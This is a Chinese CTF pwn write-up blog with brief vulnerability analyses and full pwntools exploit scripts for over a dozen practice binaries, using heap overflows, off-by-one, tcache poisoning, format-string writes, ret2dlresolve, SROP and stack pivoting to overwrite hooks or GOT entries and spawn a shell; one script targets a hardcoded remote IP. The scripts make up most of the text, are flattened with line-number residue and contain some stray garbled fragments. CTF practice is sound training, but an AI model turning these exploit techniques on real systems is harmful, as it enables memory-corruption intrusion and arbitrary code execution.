本文最后编辑于 前,其中的内容可能需要更新。
水一篇博客,这个是题库
题目附件 提取码: r2en
[V&N2020 公开赛]simpleHeap 远程是libc2.23版本的,但是我想试试用libc2.27版本来看看可不可以打通(有点难度),亲测能行
题目分析 有一个offbyone漏洞但是限制了我们的chunk在0x6f范围内,想要通过unsortedbins泄露地址需要将tcachebins填充,但是限制了chunk大小,所以不能简单的释放就能填充,可以考虑overlapping。
思路
坑点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *context(log_level='debug' ,arch='amd64' ) binary = './vn_pwn_simpleHeap' arena = 0x3ebc40 one_gadget = [0x4f3d5 ,0x4f3d5 ,0x10a41c ] local = 1 if local == 1 : io = process(binary) else : io = remote() e = ELF(binary) libc = e.libc def add (size,content = b'a' ): io.sendlineafter("choice: " ,'1' ) io.sendlineafter('?' ,str (size)) io.sendafter(':' ,content) def edit (id ,content ): io.sendlineafter("choice: " ,'2' ) io.sendlineafter('?' ,str (id )) io.sendlineafter(':' ,content) def show (id ): io.sendlineafter("choice: " ,'3' ) io.sendlineafter('?' ,str (id )) def free (id ): io.sendlineafter("choice: " ,'4' ) io.sendlineafter('?' ,str (id )) add(0x28 ) add(0x20 ) add(0x68 ) add(0x20 ,b'/bin/sh\x00' ) edit(0 ,b'\x00' * 0x28 + b'\x61' ) free(1 ) free(2 ) add(0x58 ,b'a' * 0x28 + b'a' * 16 ) show(1 ) head_addr = u64(io.recvline()[-7 :-1 ].ljust(8 ,b'\x00' )) io.success(hex (head_addr-0x10 )) edit(1 ,b'a' * 0x28 + p64(0x71 ) + p64(head_addr)) add(0x68 ) add(0x68 ) edit(4 ,b'\x07' * 0x40 + p64(head_addr)) add(0x10 ) free(5 ) show(4 ) libc_base = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) - arena - 0x60 io.success("libc_base==>" +hex (libc_base)) malloc_hook = libc.sym['__malloc_hook' ] + libc_base free_hook = libc.sym['__free_hook' ] + libc_base system = libc.sym["system" ] + libc_base one_gadget = one_gadget[2 ] + libc_base edit(4 ,b'\x07' * 0x40 + p64(free_hook)) add(0x10 ) edit(5 ,p64(system)) gdb.attach(io,"b *$rebase(0x8e0)" ) free(3 ) io.interactive()
0ctf_2016_warmup 题目分析
栈溢出,突破点就在于alarm函数了。alarm函数有一个特性,如果多次调用alarm,那么alarm就会返回前一个alarm开始到现在,还剩下多长时间。比如,第一次alarm(10),然后过来2s,我们又调用alarm(1234),那么第二次的alarm返回值eax为10s-2s=8s。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *context.log_level = 'debug' context.arch='i386' binary = './warmup' main_arena = 0x1beb80 local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) io.recvuntil('Welcome to 0CTF 2016!' ) data=0x80491BC read_addr=0x804811D write_addr = 0x8048135 alarm_addr = 0x804810D io.send(b'a' *0x20 +p32(0x0804811D )+p32(0x0804815A )+p32(0 )+p32(data)+p32(10 )) io.sendafter('Good Luck!' ,b'./flag\x00' ) sleep(5 ) io.send(b'a' *0x20 +p32(alarm_addr)+p32(0x08048122 )+p32(0x0804815A )+p32(data)+p32(0 )) io.recvuntil('Good Luck!' ) io.send(b'a' *0x20 +p32(read_addr)+p32(0x0804815A )+p32(0x3 )+p32(data+0x10 )+p32(10 )) io.recvuntil('Good Luck!' ) io.send(b'a' *0x20 +p32(write_addr)+p32(0x0804815A )+p32(1 )+p32(data+0x10 )+p32(10 )) io.interactive()
0CTF_2017_babyheap 题目分析 一个简单的菜单题,有增删改查功能,编辑功能存在堆溢出
思路
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import *context(log_level='debug' ,arch='amd64' ) binary='./0ctf_2017_babyheap' main_arena = 0x3ebc40 local = 1 if local == 1 : io=process(binary) else : io=remote() e=ELF(binary) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" ) one_gadget = [0x4f3d5 ,0x4f432 ,0x10a41c ] def add (size ): io.recvuntil('Command: ' ) io.sendline('1' ) io.recvuntil('Size: ' ) io.sendline(str (size)) def edit (index,size,content ): io.recvuntil('Command: ' ) io.sendline('2' ) io.sendlineafter('Index: ' ,str (index)) io.sendlineafter('Size: ' ,str (size)) io.sendlineafter('Content: ' ,content) def free (index ): io.recvuntil('Command: ' ) io.sendline('3' ) io.sendlineafter('Index: ' ,str (index)) def show (index ): io.recvuntil('Command: ' ) io.sendline('4' ) io.sendlineafter('Index: ' ,str (index)) io.recvuntil('Content: ' ) for i in range (7 ): add(0x20 ) for i in range (7 ): free(i) for i in range (7 ): add(0x80 ) for i in range (7 ): free(i) for i in range (7 ): add(0x60 ) for i in range (7 ): free(i) add(0x30 ) free(0 ) add(0x20 ) add(0x20 ) add(0x20 ) add(0x20 ) add(0x40 ) free(2 ) free(1 ) edit(0 ,0x31 ,b'a' *0x20 +p64(0 )+p64(0x31 )+b'\x10' ) add(0x20 ) add(0x20 ) edit(0 ,0x30 ,b'a' *0x20 +p64(0 )+p64(0x91 )) free(1 ) show(2 ) libc_base = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' ))-main_arena-96 io.info("libc_base==>%#x" ,libc_base) system = libc_base + libc.sym["system" ] malloc_hook = libc_base + libc.sym["__malloc_hook" ] realloc = libc_base + libc.symbols['__libc_realloc' ] io.success("system==>{}" .format (hex (system))) io.success("malloc_hook==>{}" .format (hex (malloc_hook))) add(0x80 ) pay=b'a' *0x20 +p64(0 )+p64(0x71 )+b'a' *0x60 +p64(0 )+p64(0x21 )+b'a' *0x10 edit(0 ,len (pay),pay) free(1 ) edit(2 ,0x8 ,p64(malloc_hook-0x23 )) add(0x60 ) add(0x60 ) one_gadget = one_gadget[2 ]+libc_base edit(5 ,0x13 +8 ,b'a' *0xb +p64(one_gadget)+p64(realloc+10 )) add(0x10 ) io.interactive()
ciscn_2019_sw_1 题目分析
格式化字符串漏洞,但是只有一次调用
思路
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context(log_level='debug' ,arch='amd64' ) binary='./ciscn_2019_sw_1' main_arena = 0x3ebc40 local = 1 if local == 1 : io=process(binary) else : io=remote() e=ELF(binary) system = 0x80483D0 printf = 0x804989C io.recvuntil("Welcome to my ctf! What's your name?" ) add = 0x8534 add1 = ((system&0xffff ) - add)%0x10000 add2 = (((system>>16 )&0xffff ) - add - add1)%0x10000 pay = '%{}c' .format (add).encode()+b'%14$hn' pay += '%{}c' .format (add1).encode()+b'%15$hn' pay += '%{}c' .format (add2).encode()+b'%16$hn' pay = pay.ljust(0x28 ,b'a' )+p32(0x804979C )+p32(printf)+p32(printf+2 ) gdb.attach(io,"b main" ) io.sendline(pay) io.recvuntil("Welcome to my ctf! What's your name?" ) io.sendline('/bin/sh\x00' ) io.interactive()
hitcontraining_playfmt 题目分析
一个无限循环的格式化字符串漏洞
思路
利用ebp的双重指针来修改栈上的数据
改返回地址为system,参数布置在栈上
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *context.log_level = 'debug' context.arch='i386' binary = './playfmt' main_arena = 0x1beb80 local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) bss = 0x804a060 libc = elf.libc io.recvuntil('=====================' ) io.sendline('%6$p%8$p' ) io.recvuntil('0x' ) stack_addr = int (io.recv(8 ),16 ) - 0x28 io.recvuntil('0x' ) libc_base = int (io.recv(8 ), 16 ) - libc.sym["_IO_2_1_stdout_" ] system = libc_base + libc.sym["system" ] io.success("libc_base==>{}" .format (hex (libc_base))) io.success("stack_addr==>{}" .format (hex (stack_addr))) io.success("system==>{}" .format (hex (system))) def write_addr (stack,addr ): addr1 = stack&0xffff addr2 = addr&0xffff pay = '%{}c%6$hn...' .format (addr1).encode() io.sendline(pay) io.recvuntil('...' ) pay = '%{}c%10$hn...' .format (addr2).encode() io.sendline(pay) io.recvuntil('...' ) addr1 = addr1 + 2 addr2 = (addr>>16 )&0xffff pay = '%{}c%6$hn...' .format (addr1).encode() io.sendline(pay) io.recvuntil('...' ) pay = '%{}c%10$hn...' .format (addr2).encode() io.sendline(pay) io.recvuntil('...' ) write_addr(stack_addr+0x1c ,system) write_addr(stack_addr+0x24 ,bss+0x20 ) io.sendline(b'a' *0x20 +b'/bin/sh\x00...' ) io.recvuntil('/bin/sh' ) io.sendline(b'quit\x00' ) io.interactive()
get_started_3dsctf_2016 题目分析 简单栈溢出,打卡题目
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(log_level='debug' ,arch='i386' ) binary='./get_started_3dsctf_2016' main_arena = 0x3ebc40 local = 1 if local == 1 : io=process(binary) else : io=remote() e=ELF(binary) gdb.attach(io,'b main' ) io.sendline(b'a' *0x38 +p32(0x080489A0 )+p32(0 )+p32(0x308CD64F )+p32(0x195719D1 )) io.recv() io.interactive()
not_the_same_3dsctf_2016 题目分析 简单的栈溢出,布置好参数传递就行
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context(log_level='debug' ,arch='i386' ) binary='./not_the_same_3dsctf_2016' main_arena = 0x3ebc40 local = 1 if local == 1 : io=process(binary) else : io=remote() e=ELF(binary) gdb.attach(io,'b main' ) io.sendline(b'a' *0x2d +p32(0x80489A0 )+p32(0x80489EA )+p32(0x080ECA2D )) io.interactive()
babyfengshui_33c3_2016 题目分析
思路
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *context.log_level = 'debug' context.arch='i386' binary = './babyfengshui_33c3_2016' main_arena = 0x1beb80 local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) libc = elf.libc libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) def add (size,size1,content ): io.sendlineafter("Action: " ,b'0' ) io.sendlineafter('size of description: ' ,str (size)) io.sendlineafter("name: " ,b'a' ) io.sendlineafter('text length: ' ,str (size1)) io.sendlineafter("text: " ,content) def edit (index,content ): io.sendlineafter("Action: " ,b'3' ) io.sendlineafter('index: ' ,str (index)) io.sendlineafter('text length: ' ,str (len (content))) io.sendlineafter("text: " ,content) def show (index ): io.sendlineafter("Action: " ,b'2' ) io.sendlineafter('index: ' ,str (index)) io.recvuntil('description: ' ) def free (index ): io.sendlineafter("Action: " ,b'1' ) io.sendlineafter('index: ' ,str (index)) for i in range (7 ): add(0x50 ,1 ,b'a' ) add(0x80 ,1 ,b'a' ) add(0x20 ,8 ,b'/bin/sh\x00' ) for i in range (7 ): free(i) free(7 ) for i in range (7 ): add(0x50 ,1 ,b'a' ) add(0x110 ,1 ,b'a' ) pay = b'a' *0x110 +b'a' *0xc +p64(0x31 )+b'/bin/sh\x00' +p64(0 )*4 +p32(0x91 )+p32(0x804B020 ) edit(16 ,pay) show(8 ) malloc = u32(io.recvuntil('\xf7' )[-4 :]) io.info("malloc==>%#x" ,malloc) libc_base = malloc - libc.sym['malloc' ] system = libc_base + libc.sym['system' ] free_got = 0x804B010 pay = b'/bin/sh\0' .ljust(0x110 ,b'a' )+b'a' *0xc +p64(0x31 )+b'/bin/sh\x00' +p64(0 )*4 +p32(0x91 )+p32(free_got) edit(16 ,pay) edit(8 ,p32(system)) free(16 ) io.interactive()
2021_强网杯_NO_output 题目分析
满足两个条件就可以进行栈溢出了,一个是检测字符串是否相等,可以用\x00截断绕过,还要满足的条件是signal 浮点异常的信号才能触发漏洞,利用ret2dlresolve就行,可以参考我的学习笔记
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context.log_level = 'debug' context.arch='amd64' binary = './test' main_arena = 0x1beb80 local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) ''' 0x08049583 : pop ebp ; ret 0x08049580 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x08049022 : pop ebx ; ret 0x08049582 : pop edi ; pop ebp ; ret 0x08049581 : pop esi ; pop edi ; pop ebp ; ret 0x080491a5 : leave ; ret ''' plt_0 = 0x8049030 fuke_stack = elf.bss()+0x600 fuke_offset_1 = fuke_stack+0x20 -0x8048414 align = 0x10 - (fuke_stack + 0x40 - 0x8048248 ) % 16 fuke_offset_2 = (((fuke_stack + 0x40 - 0x8048248 + align) // 0x10 ) << 8 ) | 0x7 fuke_offset_3 = fuke_stack + 0x60 - 0x8048318 bin_sh_addr = fuke_stack + 0x70 io.sendline('a' ) io.sendline(b'h\x00' ) io.sendline(b'-2147483648' ) io.sendline(b'-1' ) io.sendline(b'a' *0x48 +p32(0 )+p32(elf.plt['read' ])+p32(0x08049581 )+p32(0 )+p32(fuke_stack)+p32(0x100 )+p32(0x08049583 )+p32(fuke_stack)+p32(0x080491a5 )) pay = b'aaaa' +p32(plt_0)+p32(fuke_offset_1)+p32(0 )+p32(bin_sh_addr) pay = pay.ljust(0x20 ,b'a' )+p32(fuke_stack)+p32(fuke_offset_2) pay = pay.ljust(0x40 + align,b'a' ) + p32(fuke_offset_3) + p32(0 ) + p32(0 ) + p32(12 ) pay = pay.ljust(0x60 ,b'a' ) + b'system\x00' pay = pay.ljust(0x70 ,b'a' ) + b'/bin/sh\x00' io.sendline(pay) io.interactive()
C语言编程技巧-signal(信号)
https://zh.wikipedia.org/zh/SIGFPE
rec_33c3_2016 rec_33c3_2016(堆栈不平衡)
题目分析
Polish里有栈不平衡会拔高栈帧
思路
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *context.log_level = 'debug' context.arch='amd64' binary = './rec_33c3_2016' main_arena = 0x1beb80 local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) def show (): io.sendlineafter('>' ,'1' ) io.recvuntil('Your note: ' ) def Polish (): io.recvuntil(b'> ' ) io.sendline('2' ) io.recvuntil("Operator: " ) io.sendline('S' ) io.recvuntil('Operand: ' ) io.sendline('1' ) show() libc_base = u32(io.recvuntil('\xf7' )[-4 :]) - libc.sym["_IO_2_1_stdout_" ] io.success("libc_base==>{}" .format (hex (libc_base))) bin_sh_addr = libc_base + next (libc.search(b'/bin/sh\0' )) system = libc_base + libc.sym["system" ] io.success("system==>{}" .format (hex (system))) Polish() for i in range (0x62 ): io.sendlineafter("Operand: " ,b'1' ) io.sendlineafter("Operand: " ,str (system-0x100000000 )) io.sendlineafter("Operand: " ,str (bin_sh_addr-0x100000000 )) io.sendlineafter("Operand: " ,'.' ) io.sendlineafter('>' ,'5' ) io.sendline('0' ) io.interactive()
sctf_2019_easy_heap(改) 题目分析 经典的offbyone漏洞,程序稍微改了点,希望能用2.31版本来测试,之前使用2.27版本打的这倒道题目,因为2.31版本对于unlink多了两个检测,一个是检测释放chunk的pre_size是否等于要合并chunk的size大小,还有一个是检测要合并的chunk是否是自连,目前我找到的方法有自己伪造堆块头,利用offbynull漏洞来unlink,还有个是利用large bin的残留信息。
改动如下,因为没有输出所以有一定的难度
思路
通过泄露的堆块地址来伪造堆块头
利用offbynull来使堆块与我们的fuke堆块合并
这样就可以照成堆块复用,导致任意地址读写,先将shellcode注入到rxw段上,可是题目没有输出堆块的功能
可以使用三个堆块复用,利用double free,一个chunk在tcache bins,一个在unsorted bins里(这个要构造比较特殊,需要用到切割unsorted bin来实现),因为main_arena+96的位置和malloc hook的位置很近,只需修改一个字节就好,改malloc hook为shellcode地址
大概成功以后是这个样子
这样申请两个0x100的堆块就可以改到malloc hook里的指针
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 from pwn import *context.log_level = 'debug' context.arch='amd64' binary = './sctf_2019_easy_heap' main_arena = 0x1beb80 s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n=None : io.recv(n) ra = lambda t=tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n=2 **20 : io.recvlines(n) local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) def alloc (size ): ru(">> " ) sl(str (1 )) sal("Size: " ,str (size)) ru('Address 0x' ) chunk_addr = int (r(12 ).decode(),16 ) io.success("chunk_addr ==> {}" .format (hex (chunk_addr))) return chunk_addr def free (index ): ru(">> " ) sl('2' ) sal("Index: " ,str (index)) def edit (index,content ): ru(">> " ) sl('3' ) sal("Index: " ,str (index)) sal("Content: " ,content) ru('Mmap: 0x' ) mmap = int (rl()[:-1 ].decode(),16 ) io.info("mmap ==> %#x" ,mmap) heap_head = alloc(0xf0 ) alloc(0xf8 ) alloc(0xf0 ) for i in range (7 ): alloc(0xf0 ) alloc(0xf0 ) alloc(0xf0 ) alloc(0xf0 ) edit(0 ,p64(0 )+p64(0 )+p64(heap_head+0x10 )+p64(0x1e1 )+p64(heap_head+0x10 -0x18 )+p64(heap_head+0x10 -0x10 )) for i in range (7 ): free(i+3 ) edit(1 ,b'a' *0xf0 +p64(0x1e0 )) heap_head +=0x100 free(2 ) for i in range (7 ): alloc(0xf0 ) alloc(0xd0 ) alloc(0xf0 ) alloc(0xf0 ) free(10 ) free(1 ) edit(13 ,p64(mmap)) alloc(0xf0 ) alloc(0xf0 ) edit(10 ,asm(shellcraft.sh())) free(11 ) free(1 ) edit(13 ,p64(heap_head)) alloc(0xf0 ) alloc(0xf0 ) for i in range (7 ): free(i+2 ) free(0 ) free(1 ) for i in range (7 ): alloc(0xf0 ) free(12 ) is null free(11 ) alloc(0x70 ) alloc(0x70 ) edit(13 ,b'\x70' ) gdb.attach(io,'b *$rebase(0xc00)' ) alloc(0xf0 ) alloc(0xf0 ) edit(12 ,p64(mmap)) ru(">> " ) sl(str (1 )) sal("Size: " ,str (0x10 )) io.interactive()
360chunqiu2017——smallest 题目分析
2017 429 ichunqiu ctf smallest(pwn300) writeup_jmp esp-CSDN博客
思路
通过srop来控制寄存器
注意要保持read持续输入
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *context.log_level = 'debug' context.arch='amd64' binary = './smallest' main_arena = 0x1beb80 local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) read_addr = 0x4000B0 syscall_addr = 0x4000BE rdi_syscall = 0x4000BB def leak (): io.send(p64(read_addr)+p64(rdi_syscall)+p64(read_addr)) sleep(0.6 ) yes = raw_input() io.send('\xbb' ) stack_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) io.success("stack ==> {}" .format (hex (stack_addr))) io.recv() return stack_addr stack = leak() bin_sh_addr = stack + 500 frame = SigreturnFrame() frame.rsp = stack frame.rip = read_addr pay = p64(read_addr) + b'a' *8 + bytes (frame) io.send(pay) yes = raw_input() io.send(p64(syscall_addr).ljust(15 ,b'a' )) yes = raw_input() frame = SigreturnFrame() frame.rdi = bin_sh_addr frame.rax = 0x3b frame.rip = syscall_addr frame.rdx = 0 pay = p64(read_addr) + b'a' *8 + bytes (frame) pay = pay.ljust(500 ,b's' )+b'/bin/sh\0' io.send(pay) pay = p64(syscall_addr) yes = raw_input() io.send(pay.ljust(0xf ,b'a' )) io.interactive()
2018_breakfast 题目分析
一个uaf,一个任意地址读,堆打卡题,简单直接撸代码
思路
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import *context.log_level = 'debug' context.arch='amd64' binary = './2018_breakfast' main_arena = 0x1beb80 local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" ) def alloc (index,size ): io.recvuntil('5.- Exit' ) io.sendline('1' ) io.recvuntil('Enter the position of breakfast' ) io.sendline(str (index)) io.recvuntil('Enter the size in kcal.' ) io.sendline(str (size)) def edit (index,content ): io.recvuntil('5.- Exit' ) io.sendline('2' ) io.recvuntil('Introduce the menu to ingredients' ) io.sendline(str (index)) io.recvuntil('Enter the ingredients' ) io.send(content) def show (index ): io.recvuntil('5.- Exit' ) io.sendline('3' ) io.recvuntil('Enter the breakfast to see' ) io.sendline(str (index)) def free (index ): io.recvuntil('5.- Exit' ) io.sendline('4' ) io.recvuntil('Introduce the menu to delete' ) io.sendline(str (index)) free_got = 0x601FB0 alloc(0 ,0x20 ) edit(0 ,p64(free_got)) gdb.attach(io,'b main' ) show(0 ) libc_base = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) - libc.sym['free' ] io.success('libc_base==>{}' .format (hex (libc_base))) free_hook = libc.sym['__free_hook' ] + libc_base io.success('free_hook==>{}' .format (hex (free_hook))) system = libc.sym['system' ] + libc_base io.success('system==>{}' .format (hex (system))) alloc(1 ,0x20 ) alloc(2 ,0x20 ) alloc(3 ,0x20 ) free(2 ) free(1 ) edit(1 ,p64(free_hook)) alloc(1 ,0x20 ) edit(1 ,b'/bin/sh\0' ) alloc(2 ,0x20 ) edit(2 ,p64(system)) free(1 ) io.interactive()
music 题目分析 格式化字符串漏洞和栈溢出
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *context.log_level = 'debug' context.arch='amd64' binary = './music' main_arena = 0x1beb80 local = 1 if local == 1 : io=process(binary) else : io=remote('47.105.38.196' ,32573 ) elf=ELF(binary) one_gadget = [0x4f3d5 ,0x4f432 ,0x10a41c ] libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" ) io.recvuntil('#Leave your name' ) io.sendline('%4$p' ) io.recvuntil('#Dear ' ) io.recvuntil('0x' ) libc_base = int (io.recv(12 ).decode(),16 ) - libc.sym['_IO_2_1_stderr_' ] - 128 io.info("libc_base==>%#x" ,libc_base) pop_ret = 0x0000000000026796 +libc_base io.recvuntil('#Please play a piece of music' ) system = libc.sym['system' ] + libc_base io.sendline(b'cccc' *33 +p64(0x4f3d5 +libc_base)) io.recvuntil('#Please do not enter irrelevant data' ) io.interactive() ''' 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
ichunqiuyiqing_borrowstack 题目分析
思路
坑点 可以说之前有一个地方困扰了我很久,就是经常栈迁移的时候程序经常dang了,这次我理解了,因为bss段上面一块区域是一个只有只读权限的内存空间,当我们进行系统调用的时候往往需要压栈的操作,这种操作往往会使的栈不断地拔高,一旦栈帧指向了只有只读权限的内存空间的时候就会报错,因为对栈帧的操作往往需要有写的权限,这也是我经常忽视的地方,所以栈迁移的时候尽量迁移到bss段后面
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *context.log_level = 'debug' context.arch='amd64' binary = './borrowstack' main_arena = 0x1beb80 local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) ''' 0x00000000004006fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006fe : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400700 : pop r14 ; pop r15 ; ret 0x0000000000400702 : pop r15 ; ret 0x00000000004006fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006ff : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400590 : pop rbp ; ret 0x0000000000400703 : pop rdi ; ret 0x0000000000400701 : pop rsi ; pop r15 ; ret 0x00000000004006fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004004c9 : ret ''' bank = 0x601080 leave_ret = 0x0000000000400699 ret = 0x00000000004004c9 pop_si_15 = 0x0000000000400701 fuke_stack = elf.bss()+0x600 gdb.attach(io,'b main' ) io.recvuntil('Tell me what you want' ) io.send(b'a' *0x60 +p64(bank)+p64(leave_ret)) io.recvuntil('Done!You can check and use your borrow stack now!' ) pay = p64(fuke_stack) + p64(pop_si_15) + p64(fuke_stack) + p64(0 ) + p64(elf.plt['read' ]) + p64(leave_ret) io.send(pay.ljust(0x100 ,b'\x00' )) pay = p64(ret)+p64(0x0400703 )+p64(elf.got['puts' ])+p64(elf.plt['puts' ])+p64(0x4006FA )+p64(0 )+p64(1 )+p64(fuke_stack)+p64(0x100 )+p64(fuke_stack+0xa0 )+p64(0 )+p64(0x4006E0 )+p64(0 )*7 +p64(elf.plt['read' ]) io.send(pay) libc_base = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) - libc.sym['puts' ] io.success('libc_base==>{}' .format (hex (libc_base))) system = libc.sym['system' ] + libc_base bin_sh = next (libc.search(b'/bin/sh\0' )) + libc_base pay = p64(0x0400703 ) + p64(bin_sh) + p64(system) io.sendline(pay) io.interactive()
Dream 题目分析 存在格式化字符串漏洞,可以用来leak地址,编辑堆块的size可控,可以造成堆溢出,还有一个uaf漏洞,可以达到任意地址读写
思路
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *context.log_level = 'debug' context.arch='amd64' binary = './Dream' context.terminal = ['terminator' ,'-x' ,'sh' ,'-c' ] local = 0 if local == 1 : io=process(binary) else : io=remote('' ,) elf=ELF(binary) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" ) def alloc (size,content ): io.recvuntil('Your choice :' ) io.sendline('1' ) io.recvuntil('Length of dream :' ) io.sendline(str (size)) io.recvuntil('Content of dream:' ) io.sendline(content) def edit (index,size,content ): io.recvuntil('Your choice :' ) io.sendline('2' ) io.recvuntil('Index :' ) io.sendline(str (index)) io.recvuntil('Length of dream :' ) io.sendline(str (size)) io.recvuntil("Content of dream:" ) io.send(content) def show (index ): io.recvuntil('Your choice :' ) io.sendline('4' ) io.recvuntil('Index :' ) io.sendline(str (index)) def free (index ): io.recvuntil('Your choice :' ) io.sendline('3' ) io.recvuntil('Index :' ) io.sendline(str (index)) io.recvuntil('Please enter your name' ) io.sendline('%11$p' ) io.recvuntil('0x' ) libc_base = int (io.recv(12 ).decode(),16 ) - 0x20840 malloc_hook = libc_base + libc.sym['__malloc_hook' ] realloc = libc_base + libc.symbols['__libc_realloc' ] one_gadget = libc_base + 0x4527a print (hex (libc_base))alloc(0x10 ,b'a' ) alloc(0x10 ,b'a' ) alloc(0x10 ,b'a' ) alloc(0x20 ,b'a' ) pay = b'a' *0x18 +p64(0x71 ) edit(0 ,len (pay),pay) free(1 ) edit(1 ,8 ,p64(malloc_hook-35 )) alloc(0x60 ,b'a' ) alloc(0x60 ,b'a' *8 + b'a' *3 + p64(one_gadget) + p64(realloc)) io.recvuntil('Your choice :' ) io.sendline('1' ) io.recvuntil('Length of dream :' ) io.sendline(str (20 )) io.interactive()
ichunqiuyiqing_excited 题目分析 堆块里存在指针,而且有uaf漏洞,flag文件读取到内存里了,可以通过特殊布局利用uaf来将指针指向flag的位置,再读取打印
